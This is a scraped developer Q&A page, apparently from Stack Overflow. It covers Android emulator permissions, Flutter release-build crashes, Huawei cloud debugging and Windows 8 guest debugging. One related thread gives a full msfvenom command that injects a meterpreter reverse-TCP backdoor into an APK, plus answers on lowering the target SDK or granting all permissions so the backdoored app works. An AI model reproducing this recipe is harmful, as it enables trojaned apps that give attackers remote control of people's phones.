am installing an apk in an andriond emulator but my apk is asking for permissions to complete the installation - android-emulator

Good morning all. pls i need help on how to get pass this permessions when installing an app in the emulator.
[the permission am talking aboutthe second permission](https://i.stack.imgur.com/rp4qv.png)
am launching an application in an emulator but the application is not launching completely so making my test to fail and i don't know how to get pass the permissions. i need help on the line of code to write to pass the permission.

Related

How to detect exceptions in release mode in flutter

My flutter app works fine on debug and profile builds but crashes on release build. I would like to understand why it crashes on release build. Is there any way to see exceptions like I can see in debug mode? It is not enough to see print logs which I can see print logs and does not help. I need to know where and why the app crashes. So it would be helpful if I can see exception logs. I suspect insufficient pro guard rules causes this problem but I don't know which rules should I add more. If I can see exception log, this would help me to add correct rules to pro guard.
Connect your physical device or use any emulator and then run your app using this command flutter run --release from the terminal. You'd be able to view the logs in the release mode
I suggest to use third party tool to track production exceptions. I recommend Sentry (I am not employee, just happy user) as it is easy to configure and works out of the box.
Check https://pub.dev/packages/sentry package and https://sentry.io/ for documentation.
Please note that Sentry works ONLY at production. Also note that if your app crashes, the error is logged next time you try to open the app, and not immediately after the crash.

Can't use cloud debugging to test my apk for Huawei

I'm trying to test an apk with cloud debugging and I'm getting the following error when I tried to upload an apk:
I also added HMS plugin to my Android Studio but devices are not displayed in the device list when I opened one and it doesn't end or give any feedback(other than files are being pushed) when I drag an apk onto device.
Devices that I tried:
Update:
The apk you uploaded does not have an icon. Plz check and add an icon for it and try again. This message will be modified later to make it clearer. :)
It is a network error. Make sure that no proxy is used and your network is working. Then plz try to retransmit the apk.
Yeah I have encountered the same issue in the past and that could be frustrating. One thing you have to know though, for Cloud debugging, the backend servers are on maintenance from time to time. Please try to upload your APK again and see if your issue gets resolved by itself. If not, please let me know, I will see if more trouble shooting can be done.

Flutter app not working in apk-release but works in debug mode (even after giving internet permissions)

My app works fine in debug mode. I followed all the steps mentioned in flutter docs for making apk-release. I even mentioned the internet permissions for the apk-release in AndroidManifest file. My apk-release builds perfectly fine. But when i install it in my phone and try to use the app(Basically login using phone number cause the first page in my app is the login page), it doesnt respond. I figured there must be some problem with the internet permissions but I rechecked everything. It all works fine when i install the debug apk from Android Studio, but the release apk is somehow unable to communicate with the authentication servers. Please help me.
Btw, I updated all the dependencies in pubspec.yaml like cloudfirestore versions and stuff. Still no change. Also, I guess my SHA1 key is right in firestore. I also had to rename my package name from com.example.pareez to com.rishav.pareez but I am sure I made no mistake in that.
I ALSO USED THE SAME key.jks WHICH I USED TO MAKE AN APP YESTERDAY.
UPDATE - I uninstalled the previously installed apk from my phone and I used flutter install from my pc and then the app ran perfectly well. I guess installing manually is giving me problems. But i installed other apps manually too, and they worked fine.
Build your aab bundle or apk using the below commands.
For aab bundle:
flutter build appbundle --no-shrink
For apk:
flutter build apk --no-shrink
This solution worked for me. I hope, this will also help you. Thanks for asking this question.

payload injected app doesn't ask for any permissions

I'm trying to trying to inject an apk with msfvenom payload, and thus get a backdoor on my android device upon installing it. Why isn't it asking for permissions upon installation?
In the past I've been able to successfully create a standalone payload and get a backdoor tunnel to my device.
msfvenom -p android/meterpreter/reverse_tcp -x /Users/root/Downloads/newApp.apk LHOST=[IP] LPORT=[port] -o /Users/root/Desktop/android.apk
I expected the app to ask for all the permissions specified in manifest file, but it isn't asking for any during installation or at runtime.
I had the same problem, but I have found a fix for it.
create apk file injected with payload.
install it on your phone.
install APK Editor pro v1.9.7.
open the apk editor and search for the injected apk click on it and click on COMMON EDIT.
change Minimum SDK version to 10 and Target SDK Version to 17.
I have already checked it and it's working
You need to specify what permissions the Main.apk has in your device..did you check those?If it has not asked for permission chances are it has no permission.
I have found some problems in the payload generation, but I have also found a solution.
1.- Inject the payload in the original application.
2.- Install the apk file on an android device.
3.- Go to application settings and search for the infected application.
4.- Grant all permissions.
And that's it, this worked for me.

The debugger was unable to find the registration for the target application

I am testing my Windows 8 app by logging in as the guest account. I want to see how it works installing with limited permissions.
It seems I cannot debug any apps. Here are the steps:
Login as the Windows 8 Guest Account
Open Visual Studio.
Create a new Windows Store app, using the grid template
Click the play button to deploy to the simulator or the local machine.
Upon deployment, I receive this error:
Unable to debug Windows Store app App1/App1/bin/Debug/App1.exe
The debugger was unable to find the registration for the target application. If the problem persists, try uninstalling and then reinstalling the application.
Am I unable to deploy apps without being an administrator? If not, is there a way around this problem?
It doesn't make sense to try to debug installing an app as a guest. Guest accounts are not allowed to install apps. There is a short forum post regarding accounts here.
If you are wanting to see how the app performs for a guest after it has already been installed, you can run the app from the desktop tile, but I don't know how to run the debugger on it, or even if you can.